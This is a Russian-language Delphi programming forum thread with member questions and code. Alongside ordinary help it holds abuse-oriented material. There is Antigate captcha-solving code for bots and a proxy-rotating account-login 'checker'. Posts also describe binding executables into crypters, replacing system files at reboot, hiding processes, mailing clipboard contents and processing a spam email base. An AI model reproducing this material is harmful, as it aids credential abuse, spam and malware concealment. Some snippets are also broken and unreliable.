MOVEFILE_DELAY_UNTIL_REBOOT); //Windows NT only: The function does not move the file until the operating system is restarted. The system moves the file immediately after AUTOCHK is executed, but before creating any paging files. Consequently, this parameter enables the function to delete paging files from previous startups.
end.

[WVBR]

Помогите пожалуйста...
Я пишу на Delphi что-то подобие бота... как мне сделать так что бы при нажатии Button выполнялось аналогичное нажатие, только на WEB странице
К примеру кнопка регистрации :)

С помощью http запроса.
читай здесь внимательно
_http://delphiworld.narod.ru/base/delphi_sockets.html

[alexey-m]

Вот интересует возможность изменения системных файлов. Просто перезаписать файл неполучается, так как он уже запущен, но видел такую реализацию после перезагрузки системы. Если можно пример?
Делается так:
1. Откройте редактор реестра regedt32.exe (а не regedit.exe).
2. Перейдите в раздел
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contro l\Session Manager
3. Дважды щёлкните мышью на параметре "PendingFileRenameOperations". Если
данный параметр отсутствует, то создайте его (тип REG_MULTI_SZ).
4. В первой строке запишите путь к файлу, который надо заменить, с \??\ в
начале строки, например:
\??\d:\winnt\system32\drivers\ntfs.sys
5. На второй строке запишите путь к файлу, на который надо заменить, c !\??\ в
начале строки, например:
!\??\d:\time\ntfs.sys
6. Нажмите "OK".
После перезагрузки и замены необходимого системного файла, параметр
"PendingFileRenameOperations" будет автоматически удалён из реестра.

[slesh]

как не крути, но regedt32.exe запустит regedit.exe и сам завершит работу

[ZET36]

s0l_ir0n, alexey-m

Спасибо

[alexey-m]

Как можно узнать/проверить установлен ли перехват на какой нибудь системной функции, и возможно ли такое вообще?

[GhostOnline]

Кто как организует работу с проксями через idhttp?
Решил тут по-быстрому набросать чекер аккаунтов одного сайта для себя, из-за проксей не получилось. То и дело выскакивают какие то ошибки.
Интересует вообще алгоритм работы с прокси, чекаете ли перед запросами, как обрабатываете исключения, да и вообще, мб поделитесь опытом/посоветуете как это организовывать?

[ZET36]

GhostOnline

Лутьше используй сокеты (подробное их описание в winsock.pas)
Пропиши в uses winsock и лутьше вызывать сокет в новом потоке, так как форма будет глючить во время получения ответа сервера.
Пример получения содержимого страницы гугла с 200.7.196.141:80 пркси

procedure zapros;
var Site : PChar;
sock : TSocket;
WSA : TWSAData;
addr : sockaddr_in;
sendbuff : String;
PostData : String;


f:TextFile;
i:integer;
buf:array[0..255] of char;
begin

if WSAStartup($0101, WSA) <> 0 then
Exit;
sock := Socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
FillChar(addr, SizeOf(sockaddr_in), 0);
addr.sin_family := AF_INET;
addr.sin_port := htons(80); //порт прокси
Site := 'www.google.ru';
addr.sin_addr.s_addr :=inet_addr('200.7.196.141'); //адрес прокси

Connect(sock, addr, SizeOf(addr));
sendbuff := 'GET http://www.google.ru HTTP/1.0'#13#10+
'Accept: */*;q=0.1'#13#10+
'Referer: http://www.google.ru/search?hl=ru&newwindow=1&q=zzz&btnG=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA&lr=&aq=f&oq='#13#10+
'Accept-Language: ru'#13#10+
'Proxy-Connection: Keep-Alive'#13#10+
'User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 4.8 (build 01709); .NET CLR 1.1.4322)'#13#10+
'Host: www.google.ru'#13#10#13#10;

send(sock, sendbuff [1], Length(sendbuff), 0);
AssignFile(f, 'zzz.html');
Rewrite(f);
repeat
i := recv(sock, buf, sizeof(255), 0);
write(f, copy(buf,1,i));

until
(i = 0) or (i = SOCKET_ERROR);

CloseSocket(sock);
CloseFile(f);
end;


procedure TForm1.Button1Click(Sender: TObject);
var
Potok : THandle;
begin
Potok:=CreateThread(nil,0,@zapros,0,0,Potok);
end;

................
Вот у меня вопрос по склеиванию файлов, мне известен только метод с ресурсами, но меня он не совсем устраивает. Мне хотелось бы чтобы склеенный файл был одной программой, а не чтобы склеенный файл распаковывал ресурсы двух клеемых программ и запусскал их. Была у меня статья о методах склейки, там описывалось помоему 4 метода, но я её кажется потерял. Посоветуйте пожайлусто годный метод.

[s0l_ir0n]

Вот у меня вопрос по склеиванию файлов, мне известен только метод с ресурсами, но меня он не совсем устраивает. Мне хотелось бы чтобы склеенный файл был одной программой, а не чтобы склеенный файл распаковывал ресурсы двух клеемых программ и запусскал их. Была у меня статья о методах склейки, там описывалось помоему 4 метода, но я её кажется потерял. Посоветуйте пожайлусто годный метод.
Не совсем ясен вопрос...если файлы которые нужно склеить лежат в ресурсах, то оба ресурса можно загрузить в память и там же склеить, а затем извлечь как единое целое.
-
А все, кажется понял. Если вы говорите о джойнере, то опять таки встает вопрос какие файлы клеятся. Если 2 exe файла, то можно создать новую секцию в первом и скинуть в нее второй, затем измить EntryPoint первого файла, прописав в нем вызов CreateRemoteThread(могу и ошибаться, но вроде так можно вызвать) на EntryPoint второго файла. Т.е они будут параллельно работать, но при завершении главного потока первого файла, второй прекратит свою работу

з.ы.: только это скорее из области реверсинга уже...

[ZET36]

s0l_ir0n Спасибо, то что нужно, если можно пример?

[s0l_ir0n]

Ну если пример, то это уже полноценный криптор получится... да и не думаю что смогу быстро осилить такой кодес на практике. Теоретически то всегда проще =)

[bmp152]

Здравствуйте! У меня такой вопрос: позавчера поставил последнюю версию инди, после этого перестал работать модуль АС (_http://antigate.com/delphi.zip), компилируется нормально, но когда нижимаешь "recognize", то выдает ошибку "Проект captcha_example.exe вызвал исключение класса EIdNoDataToRead с сообщением 'No data to read.'" и выделяет строку "raise EIdNoDataToRead.Create(RSIdNoDataToRead);" в модуле IdIOHandler.pas. Если ее закомментить то вообще ничего не происходит и каптча не отправляется. Может быть кто сталкивался - подскажите решение пожалуйста.

[Nightmarе]

Можно ли получить скриншот экрана НЕ используя getDC(0); ???
Не могу понять, почему на серверах Windows, дедиках, и т.д... эта функция не пашет, может есть рабочая альтернатива?

[Пуховой]

function recognize (filename: string; apikey: string; is_phrase: boolean; is_regsense: boolean; is_numeric: boolean; min_len: integer; max_len: integer): string;
var
ftype, tmpstr, captcha_id: string;
i: integer;
http: tidhttp;
multi: tidmultipartformdatastream;
begin
if fileexists(filename)=false then begin result:='error: file not found'; exit; end;
ftype:='image/pjpeg';
if strpos(pchar(filename),'jpg')<>nil then ftype:='image/pjpeg';
if strpos(pchar(filename),'gif')<>nil then ftype:='image/gif';
if strpos(pchar(filename),'png')<>nil then ftype:='image/png';
multi:=tidmultipartformdatastream.create;
multi.addformfield('method','post');
multi.addformfield('key',apikey);
multi.addfile('file',filename,ftype);
if is_phrase=true then multi.addformfield('phrase','1');
if is_regsense=true then multi.addformfield('regsense','1');
if is_numeric=true then multi.addformfield('numeric','1');
if min_len>0 then multi.addformfield('min_len',inttostr(min_len));
if max_len>0 then multi.addformfield('max_len',inttostr(max_len));
http:=tidhttp.create(nil);
tmpstr:=http.post('http://antigate.com/in.php',multi);
http.free; multi.free;
deletefile(filename);
captcha_id:='';
if strpos(pchar(tmpstr),'error_')<>nil then begin result:=tmpstr; exit; end;
if strpos(pchar(tmpstr),'ok|')<>nil then captcha_id:=ansireplacestr(tmpstr,'ok|','');
if captcha_id='' then result:='error: bad captcha id';
for i:=0 to 20 do
begin
sleep (5000);
http:=tidhttp.create(nil);
tmpstr:=http.get('http://antigate.com/res.php?key='+apikey+'&action=get&id='+captcha_id);
http.free;
if strpos(pchar(tmpstr),'error_')<>nil then begin result:=tmpstr; exit; end;
if strpos(pchar(tmpstr),'ok|')<>nil then
begin
result:=ansireplacestr(tmpstr,'ok|','');
exit;
end;
end;
result:='error_timeout';
end;

bmp12, Попробуйте функцию напрямую. В новом приложении.

[s0l_ir0n]

Можно ли получить скриншот экрана НЕ используя getDC(0); ???
Не могу понять, почему на серверах Windows, дедиках, и т.д... эта функция не пашет, может есть рабочая альтернатива?
procedure TForm1.GrabScreen;
var
DeskTopDC: HDc;
DeskTopCanvas: TCanvas;
DeskTopRect: TRect;
begin
DeskTopDC := GetWindowDC(GetDeskTopWindow);
DeskTopCanvas := TCanvas.Create;
DeskTopCanvas.Handle := DeskTopDC;
DeskTopRect := Rect(0, 0, Screen.Width, Screen.Height);
Form1.Canvas.CopyRect(DeskTopRect, DeskTopCanvas, DeskTopRect);
ReleaseDC(GetDeskTopWindow, DeskTopDC);
end;

[bmp152]

bmp12, Попробуйте функцию напрямую. В новом приложении.

Пробовал и так, та же самая ошибка - "No data to read."


unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, IdHttp, IdMultipartFormData, StrUtils;

function recognize(filename: string; apikey: string; is_phrase: boolean; is_regsense: boolean; is_numeric: boolean; min_len: integer; max_len: integer): string;

type
TForm1 = class(TForm)
Button1: TButton;
Edit1: TEdit;
Edit2: TEdit;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

function recognize (filename: string; apikey: string; is_phrase: boolean; is_regsense: boolean; is_numeric: boolean; min_len: integer; max_len: integer): string;
var
ftype, tmpstr, captcha_id: string;
i: integer;
http: tidhttp;
multi: tidmultipartformdatastream;
begin
if fileexists(filename)=false then begin result:='error: file not found'; exit; end;
ftype:='image/pjpeg';
if strpos(pchar(filename),'jpg')<>nil then ftype:='image/pjpeg';
if strpos(pchar(filename),'gif')<>nil then ftype:='image/gif';
if strpos(pchar(filename),'png')<>nil then ftype:='image/png';
multi:=tidmultipartformdatastream.create;
multi.addformfield('method','post');
multi.addformfield('key',apikey);
multi.addfile('file',filename,ftype);
if is_phrase=true then multi.addformfield('phrase','1');
if is_regsense=true then multi.addformfield('regsense','1');
if is_numeric=true then multi.addformfield('numeric','1');
if min_len>0 then multi.addformfield('min_len',inttostr(min_len));
if max_len>0 then multi.addformfield('max_len',inttostr(max_len));
http:=tidhttp.create(nil);
tmpstr:=http.post('http://antigate.com/in.php',multi);
http.free; multi.free;
deletefile(filename);
captcha_id:='';
if strpos(pchar(tmpstr),'error_')<>nil then begin result:=tmpstr; exit; end;
if strpos(pchar(tmpstr),'ok|')<>nil then captcha_id:=ansireplacestr(tmpstr,'ok|','');
if captcha_id='' then result:='error: bad captcha id';
for i:=0 to 20 do
begin
sleep (5000);
http:=tidhttp.create(nil);
tmpstr:=http.get('http://antigate.com/res.php?key='+apikey+'&action=get&id='+captcha_id);
http.free;
if strpos(pchar(tmpstr),'error_')<>nil then begin result:=tmpstr; exit; end;
if strpos(pchar(tmpstr),'ok|')<>nil then
begin
result:=ansireplacestr(tmpstr,'ok|','');
exit;
end;
end;
result:='error_timeout';
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
Edit2.Text:=recognize('captcha.jpg', Edit1.Text, False, False, False, 0, 0);
end;

end.

[Пуховой]

Товарищи, если у кого-нибудь остались сборки этих версий, выложите, пожалуйста!

SVN отдает уже 10.5.7, не безглючную, надо сказать.

[scrat]

ну если ты используешь svn, то знаешь, что всегда можно сделать update с любой прошлой ревизии

[Пуховой]

Кхм... Спасибо. Пользуюсь давно, а вот о возможностях без вашего пинка точно бы не догадался :)

Еще раз спасибо, нашел нужную ревизию :)

Что касается antigate:

function recognize (filename: string; apikey: string; is_phrase: boolean; is_regsense: boolean; is_numeric: boolean; min_len: integer; max_len: integer): string;
var
ftype, tmpstr, captcha_id: String;
i: integer;
http: TIdHTTP;
multi: Tidmultipartformdatastream;
begin
if FileExists(filename)=false then begin result:='ERROR: file not found'; exit; end;
ftype:='image/pjpeg';
if strpos(Pchar(filename),'jpg')<>nil then ftype:='image/pjpeg';
if strpos(Pchar(filename),'gif')<>nil then ftype:='image/gif';
if strpos(Pchar(filename),'png')<>nil then ftype:='image/png';
multi:=Tidmultipartformdatastream.Create;
multi.AddFormField('method','post');
multi.AddFormField('key',apikey);
multi.AddFile('file',filename,ftype);
if is_phrase=true then multi.AddFormField('phrase','1');
if is_regsense=true then multi.AddFormField('regsense','1');
if is_numeric=true then multi.AddFormField('numeric','1');
if min_len>0 then multi.AddFormField('min_len',inttostr(min_len));
if max_len>0 then multi.AddFormField('max_len',inttostr(max_len));
http:=TIdHTTP.Create(nil);
tmpstr:=http.Post('http://antigate.com/in.php',multi);
http.Free; multi.Free;
deletefile(filename);
captcha_id:='';
if strpos(Pchar(tmpstr),'ERROR_')<>nil then begin result:=tmpstr; exit; end;
if strpos(Pchar(tmpstr),'OK|')<>nil then captcha_id:=AnsiReplaceStr(tmpstr,'OK|','');
if captcha_id='' then result:='ERROR: bad captcha id';
for i:=1 to 12 do
begin
sleep (5000);
http:=TIdHttp.Create(nil);
tmpstr:=http.Get('http://antigate.com/res.php?key='+apikey+'&action=get&id='+captcha_id);
http.Free;
if strpos(Pchar(tmpstr),'ERROR_')<>nil then begin result:=tmpstr; exit; end;
if strpos(Pchar(tmpstr),'OK|')<>nil then
begin
result:=AnsiReplaceStr(tmpstr,'OK|','');
exit;
end;
end;
result:='ERROR_TIMEOUT';
end;

На 10.5.7, посл. работать не будет. 10.5.6 - работает.

[aka_k4]

IdSMTP1.Host:='smtp.mail.ru'; //
IdSMTP1.Port:=2525; //
IdSMTP1.Username:=login; //
IdSMTP1.Password:=pass; //
IdSMTP1.AuthenticationType:=atLogin;
with IdMessage1
do
begin

From.Text :=Tema; //
Recipients.EMailAddresses := qwqwq@mail.ru; //
Subject := qwerty@mail.ru;
if FileExists(Edit1.Text)
then

TIdAttachment.Create(idmessage1.MessageParts,C:\Pr ogram Files\1.txt);

Этот кусок отправет нам файло 1.txt на почту. Подскажите, а как прекрутить к коду, чтоб оно отпровляло не файл, а какую ни буть функцию...Т.Е. нопример скопированную в буфер обмена картинку, или текст?

Будет ли синтаксическе правельно применить след выражение?:

var
Msg: TIdMessage;
begin
Msg.Subject:=?тема сообщения?;
Msg.Recipients.EMailAddresses:=?aka_k4@mail.ru?;
Msg.From.Adress:=?delphi@mail.ru?;
Msg.Body.Text:=SetTextBuf();
Msg.Date:=StrToDate(?01.12.2004?);/
end;

[Rebit]

Помогите решить =) С мну +10
Лабораторна робота № 8 Обчислення площі контуру та координати центра його ваги.
Заданий замкнений контур намалювати на міліметровці, обчислити його площу та координати центра ваги за допомогою простих геометричних формул. Створити програму для обчислення за допомогою модифікованої формули Гріна, порівняти результати (вони повинні співпадати).

9. Замкнений контур розташовується між графіком функції Y=(1+|X|)(2-|X|) та віссю Х у диапазоні Х= -2 -- +2, визначити його площу та координати центра ваги за допомогою модифікованої формули Гріна. Порівняти із ручним розрахунком.

[WVBR]

Rebit на нормальный русский переведи

[Nullsleep]

ну сохрани буфер в файл и делай атач этого файла

[Nullsleep]

а это Msg.Body.Text:=SetTextBuf(); неверно, потому что SetTextBuf - процедура а не функция

[aka_k4]

ну сохрани буфер в файл и делай атач этого файла
мнеб без атача, чтоб текс письма и было содержание буфера...

а это Msg.Body.Text:=SetTextBuf(); неверно, потому что SetTextBuf - процедура а не функция
Совершенно верно, тогда вот так? - SomeStringData_Variable := Clipboard.AsText;

[aka_k4]

+ тожэ по делфе -

как найти в 2х мерном масиве наибольшый елемент??

[DimkO]

простой вопрос: какая процедура возвращает код ASCII из символа и наоборот,мне для сортировки нужно...=\

[=Zeus=]

код символа - Ord()
наоборот - Char()

например
caption:=IntToStr( Ord('a') );

[=Zeus=]

+ тожэ по делфе -

как найти в 2х мерном масиве наибольшый елемент??

Вот, ищи наздоровье, даже комменты написал :)

...
const n = 9; \\кол-во елементов
var i, j, max: word;
mas: array[1..N, 1..N] of byte; \\наш массив

begin

max := mas[1,1];
for i:=1 to N do \\проходим по х
for j:=1 to N do \\проходим по у
if mas[i, j] > max then \\если текущий больше макс
max := mas[i, j]; \\то он станет макс
caption := IntToStr(max);

end;

[_nic]

Как сделать что бы кнопка находящяяся в фокусе при нажатии энтера не генерировала событие onclick?

[Nullsleep]

Юзай событие OnMouseDown вместо OnClick

[Пуховой]

bmp12, вот еще, кстати, попробуйте функцию (переписывал под себя, чтобы капчу на диск не сохранять)

function recognize (itype: string; key: string; image : tmemorystream) : string;
var
ftype, s, id: string;
i: integer;
http: tidhttp;
multi: tidmultipartformdatastream;
begin
if strpos (pchar (itype), 'jpg') <> nil then ftype := 'image/pjpeg';
if strpos (pchar (itype), 'gif') <> nil then ftype := 'image/gif';
if strpos (pchar (itype), 'png') <> nil then ftype := 'image/png';
multi := Tidmultipartformdatastream.Create;
multi.AddFormField ('method', 'post');
multi.AddFormField ('key', key);
multi.AddObject ('file', ftype, image, 'captcha.' + itype);
http := tidhttp.Create;
s := http.Post ('http://antigate.com/in.php', multi);
http.Free; multi.Free;
id := '';
if strpos (Pchar (s), 'ERROR_') <> nil then begin result := s; exit; end;
if strpos (Pchar (s), 'OK|') <> nil then id := AnsiReplaceStr (s, 'OK|', '');
if id = '' then result := 'ERROR: bad captcha id';
for i := 1 to 20 do
begin
sleep (5000);
http := tidhttp.Create;
s := http.Get ('http://antigate.com/res.php?key=' + key + '&action=get&id=' + id);
http.Free;
if strpos (Pchar (s), 'ERROR_') <> nil then begin result := s; exit; end;
if strpos (Pchar (s), 'OK|') <> nil then
begin
result := AnsiReplaceStr (s, 'OK|', '');
exit;
end;
end;
result := 'ERROR_TIMEOUT';
end;

Обращение: recognize ('jpg', ackey, image) - тип картинки / ас ключ / картинка в tmemorystream

[mobilka]

граждане простой вопрос. есть функция-
s := SendFile('localhost', '/1.php', 'путь до файла');
открываем файл через опендиалог и путь до файла загружается в листбокс (пример с:/хрень.rar) как сделать что бы этот же путь вставлялся в строчку 'путь до файла'

[Hellsp@wn]

wolmer
'Connection: Close'+#13#10+#13#10;

[=Zeus=]

mobilka
var path: string;
path := OpenDialog1.FileName;

[wolmer]

Hellsp@wn, спасибо!

Народ так как все таки принять ответ html на winsock?

Метод:
repeat
dSize:=recv(s, recv1buf, 4096, 0);
Memo1.lines.Add(recv1buf);
until (dSize = 0) or (dSize = SOCKET_ERROR);
Слишком долгий (то есть прога зависает на ~1 мин при этом коде)

[SENTRY]

Как организовать окошко, в котором выбирается файл на диске? Типа как при нажатии кнопки Browse в любом приложении. Передачу пути выбранного файла в переменную и поле ввода я прикручу сам.

[=Zeus=]

SENTRY
Кинь на форму OpenDialog и кнопку.
В Онклик кнопки пропиши
if OpenDialog1.Exexute=true then

[Пуховой]

А лучше так:

open.execute;
if open.filename = '' then exit;
<далее действия с файлом>

[mobilka]

mobilka
var path: string;
path := OpenDialog1.FileName;
не работает. вставил на онклик бутон2-
procedure TForm1.Button2Click(Sender: TObject);
var path: string;
begin
if OpenDialog1.Execute then begin
Listbox1.Items.Add(ExtractFileName(opendialog1.Fil eName));
end;
а в функцию-
s := SendFile('site.ru', '/get.php', 'path := OpenDialog1.FileName;');
пробовал и наоборот но все равно не пашет

[wolmer]

Hellsp@wn, спасибо!

Народ так как все таки принять ответ html на winsock?

Метод:
repeat
dSize:=recv(s, recv1buf, 4096, 0);
Memo1.lines.Add(recv1buf);
until (dSize = 0) or (dSize = SOCKET_ERROR);
Слишком долгий (то есть прога зависает на ~1 мин при этом коде)
Ап, помогите пожалуйста :)

[Nullsleep]

mobilka, нужно написать так:
s := SendFile('site.ru', '/get.php', path);

[slesh]

2 wolmer
Hellsp@wn правильно сказал - в HTTP заголовке должно быть поле
'Connection: Close'+#13#10+#13#10; Оно должно быть вместо Keep-alive (если оно есть)
Close говорит серваку что после передачи данных он должен закрыть соединение сам.
Но некоторые серваки этого не понимают и ждут пока клиент сам закроет соединение.
ЧТобы избежать этого парси HTTP заголовок ответа сервера и там будет поле Content-Lenght и там указано число байт которые вернул сервак. ВОт ты и считывай это кол-во. как тока считал, то сам закрывай соединение.

[s.p.a.m]

Как сделать неубиваемый в диспетчере задач процесс?

[Nullsleep]

Если только в диспетчере задач - то юзай системные имена файлов :D

А вообще лучше делать не неубиваемый, а невидимый процесс.

[Nizhegorodets]

Язык: Pascal
есть текстовый файл. в нем столбиком написаны цифры. цифр не больше 80.
как загнать все эти цифры в массив?
Пример:

1
2
4
5
8
8

Берем из текстового документа:

assign(input,'input.txt');
reset(input);
while not eof do begin


вот так из текстового файла вытаскиваю...Но как полученные данные в массив загнать???

[Chrome~]

Nizhegorodets, приблизительно так:

var
arr: array[1..80] of integer;
i: integer;
...
assign(input, 'input.txt');
reset(input);
i := 1;
while not eof(input) do
begin
readln(arr[i]);
i := i + 1;
end;
closefile(input);
В Паскале давно уже не писал, может быть немного ошибся.

[Nullsleep]

var
input: Text;
a: array[1..80] of Integer;
n, i: Integer;
begin
Assign(input, 'input.txt');
Reset(input);
i := 0;
while not Eof(input) do
begin
i := i+1;
Read(input, a[i]);
end;
Close(input);
end.

[iguigor]

А делфи и паскаль не особо отличаються?? И с чего лучше начать? (если считать что не легче учиться, а более выгодно писать проги) И какие книгы вы бы посоветовали.
Лучше в пм.
Заранее спс!

[BrainDeaD]

особо отличаются. сходство у них в синтаксисе. начинай сразу с делфи. по книгам юзай поиск здесь и в гугле. обсуждалось 1000000 раз.

[wolmer]

К примеру есть файл с большим кол. строк
Нужно подсчитать кол. строк потоками (threards), как это сделать?

С потоками как то туго у меня

[slesh]

тут дело не в потоках, а в скорости считывания с винта + правильности алгоритма считывания строк.
Простой пример из С++
функций

ULONG CountLinesInFile(char* name)
{
FILE* file;
ULONG ret = 0;
char buf[64];

file = fopen(name, "rt");
if (file)
{
while (!feof(file))
{
if (fgets(buf, 64, file))
{
ret++;
}
}

fclose(file);
}

return ret;
}



пересчитываем спамбазу на 1,7 лямов мыл примерно за 2-3 секунды.
Если адаптировать для поиска #10 символов в свободно считанных данных, то можно и быстрее ускорить.
Читать в потоках не советую потому что из-за синхронизации(которую придется тебе делать) ты потеряешь в скорости.
По этому самый лучшый выход такой:

var
buf:array[0..1024*64-1]; //типа 64 кила буфер
len:dword; // кол-во считанных данных
h:dword;
cnt : dword;
x :dword;
begin
h := CreateFile(....);
if h <> $FFFFFFFF then
begin
cnt := 0;
while true do
begin
if ReadFile(h,...., len) then
begin
for x := 0 to len-1 do if buf[x] = #10 then inc(cnt);
end else break;
if len < 1 then break;
end;

CloseHandle(h)
end;
end;


после этого cnt будет = кол-ву строк

[mobilka]

помогите найти ошибку в долбаном коде-
procedure TForm1.Button2Click(Sender: TObject);
var
FStream : TFileStream;
ProgressBar :TProgressBar;
i,j,count: integer;
buf : array[1..40000] of Char;
begin with OpenDialog1 do if Execute then
begin
i:=round(FStream.Size/40000);
if (i*40000<FStream.Size) then i:=i+1;
ProgressBar.Max:=i;
Application.ProcessMessages;
for j:=1 to i do
begin
if i=j then
count:=FStream.Read(buf,FStream.Size-((i-1)*40000))
else count:=FStream.Read(buf,length(buf));
ProgressBar.Position:=j;
while get_accept=false do Application.ProcessMessages;
get_accept:=false;


Listbox1.Items.Add(opendialog1.FileName);
FStream:=TFileStream.Create(OPenDialog1.FileName,f mOpenRead);
Edit2.Text:=IntToStr(Round(FStream.Size/1024))+' êèëîáàéò.';
FStream.free;
end;
end;

end;




procedure TForm1.Button3Click(Sender: TObject);
begin
Listbox1.Clear;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
SendMessage(ListBox1.Handle,LB_SETHORIZONTALEXTENT ,width,0);
end;
end.

[Chrome~]

помогите найти ошибку в долбаном коде-
Есть ошибка в этой процедуре:
procedure TForm1.Button2Click(Sender: TObject);
var
FStream : TFileStream;
ProgressBar :TProgressBar;
i,j,count: integer;
buf : array[1..40000] of Char;
begin with OpenDialog1 do if Execute then
begin
i:=round(FStream.Size/40000);
if (i*40000<FStream.Size) then i:=i+1;
ProgressBar.Max:=i;
Application.ProcessMessages;
for j:=1 to i do
begin
if i=j then
count:=FStream.Read(buf,FStream.Size-((i-1)*40000))
else count:=FStream.Read(buf,length(buf));
ProgressBar.Position:=j;
while get_accept=false do Application.ProcessMessages;
get_accept:=false;


Listbox1.Items.Add(opendialog1.FileName);
FStream:=TFileStream.Create(OPenDialog1.FileName,f mOpenRead);
Edit2.Text:=IntToStr(Round(FStream.Size/1024))+' êèëîáàéò.';
FStream.free;
end;
end;

end;
Здесь у тебя в разделе var указан ProgressBar, который в коде должен создаваться. Метод Create. Может быть ты ошибся? ProgressBar, наверное, должен лежать у тебя на форме, а из var его нужно удалить.

[mobilka]

убрал-
procedure TForm1.Button1Click(Sender: TObject);
var

FStream: TFileStream;
i,j,count: integer;
buf : array[1..40000] of Char;
ws : TWSAData;
s : string;
begin
WSAStartup($101, ws);
s := SendFile(Edit1.Text, '/get.php', opendialog1.FileName);

i:=round(FStream.Size/40000);
if (i*40000<FStream.Size) then i:=i+1;
ProgressBar.Max:=i;
Application.ProcessMessages;
for j:=1 to i do
begin
if i=j then
count:=FStream.Read(buf,FStream.Size-((i-1)*40000))
else count:=FStream.Read(buf,length(buf));
ProgressBar.Position:=j;
while get_accept=false do Application.ProcessMessages;
get_accept:=false;


end;
end;
теперь при компиляции ругается на-
ProgressBar.Max:=i;

[mobilka]

исправил. теперь компилируется но при нажатии button1 выскакивает ошибка и подчеркивается строка -
i:=round(FStream.Size/40000);

[Chrome~]

Текст ошибки напиши.

[Chrome~]

FStream также как и ProgressBar создавать нужно! Где ты его создаешь?

[wolmer]

ЧТобы избежать этого парси HTTP заголовок ответа сервера и там будет поле Content-Lenght и там указано число байт которые вернул сервак. ВОт ты и считывай это кол-во. как тока считал, то сам закрывай соединение.
А если нету Content-Length в заголовке? :(

Пакет который посылаю:
send1:='GET http://site.ru/?p='+Form1.edit2.text+' HTTP/1.0'+#13#10+
'User-Agent: Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00'+#13#10+
'Host: site.ru'+#13#10+
'Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1'+#13#10+
'Accept-Language: ru-RU,ru;q=0.9,en;q=0.8'+#13#10+
'Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1'+#13#10+
'Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0'+#13#10+
'Cookie: megacookie=2222'+#13#10+
'Cookie2: $Version=1'+#13#10+
'Connection: Keep-alive'+#13#10+#13#10;

При:
Connection: Close

Не так принимаются данные почему то (в конце html ответа еще какие то куски html кода приходят при Connection: Close)

[slesh]

ты что через прокси шлеш запрос?
убери 'Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0'+#13#10+
чтобы небыло проблем с приходом данных в gzip

чтото типа такого долно быть при обычном запросе. т.е. этого хватит

send1:='GET /?p='+Form1.edit2.text+' HTTP/1.0'+#13#10+
'User-Agent: Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00'+#13#10+
'Host: site.ru'+#13#10+
'Cookie: megacookie=2222'+#13#10+
'Connection: close'+#13#10#13#10;

[bmp152]

bmp152, вот еще, кстати, попробуйте функцию (переписывал под себя, чтобы капчу на диск не сохранять)
спс, попробуем)

[GhostOnline]

Блин. Че за хрень, заипался.
Посылаю пост запрос через идхттп, если логин/пасс верные то редиректит.
Так вот, если посылать через прокси, то после редиректа тело ответа пустое, без проксей - все норм.

[AquaKlaster]

Блин. Че за хрень, заипался.
Посылаю пост запрос через идхттп, если логин/пасс верные то редиректит.
Так вот, если посылать через прокси, то после редиректа тело ответа пустое, без проксей - все норм.
Может прокси плохая? в браузере проверь её

[Пуховой]

bmp152, т.к. сам ковырялся с проблемой, обнаружил решение у буржуев.

- открываем IdMultipartFormData.pas
- заменяем 574 строку на Result := Result + LEncoding.GetByteCount(TStrings(FieldObject).Text) ;
- заменяем 582 строку на Result := Result + TStream(FieldObject).Size;
- заменяем 306 строку на FSize := FSize + LItem.FieldSize + 2;
Перекомпилируем. И ура - последняя ревизия индюши работает как часы.

[GhostOnline]

Может прокси плохая? в браузере проверь её
Я загружаю прокси списком в несколько сотен, приложение многопоточное, не думаю что они все такие

[AquaKlaster]

Я загружаю прокси списком в несколько сотен, приложение многопоточное, не думаю что они все такие
скинь в ЛС сорцы я гляну!

[GhostOnline]

Сорри прогу делаю на заказ. Впрочем часть могу скинуть, какую именно надо?

[AquaKlaster]

ну там где рабоат с прокси отправка пост запроса

[GhostOnline]

Param:=TStringList.Create;//Парaметры запросов
Param.Add('auth[backurl]=http://mirtesen.ru/'); //Добавляем параметры для логина
Param.Add('auth[login]='+Nick);//.......
Param.Add('auth[password]='+Pswd);//........
Param.Add('auth[remember]=on');//......
Http:=TIdHttp.Create;//Создаем и инициализируем объект ИдХттп
Http.Request.Host:='mirtesen.ru';
Http.Request.UserAgent:='Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729)';
Http.Request.Accept:='text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8';
Http.Request.AcceptLanguage := 'ru,en-us;q=0.7,en;q=0.3';
Http.Request.AcceptCharset := 'windows-1251,utf-8;q=0.7,*;q=0.7';
Http.Request.Connection:='Keep-alive';
Http.Request.Referer:='http://mirtesen.ru/';
http.ReadTimeout:=10000;
http.ConnectTimeout:=10000 ;
Http.AllowCookies:=True;
Cook:=TIdCookieManager.Create(Http);
Http.HandleRedirects:=False;

if UseProxy then//Если используем прокси, то берем рандомно
begin
EnterCriticalSection(CS);
i2:=Random(Form6.sMemo3.Lines.Count);
Http.ProxyParams.ProxyServer:=Copy(Form6.sMemo3.li nes[i2],1,pos(':',Form6.sMemo3.lines[i])-1);
Http.ProxyParams.ProxyPort:=StrToInt(Copy (Form6.sMemo3.Lines[i2],pos(':',Form6.sMemo3.Lines[i2])+1,Length(Form6.sMemo3.Lines[i2])-pos(':',Form6.sMemo3.Lines[i2])));
LeaveCriticalSection(CS);


Response.Text:=Http.Post('http://mirtesen.ru/login',Param);//Логинимся

on e : EIDHttpProtocolException do//Если редирект 302, то залогинились
if e.ErrorCode = 302 then
begin
if Length(response.Text)=0 then continue;
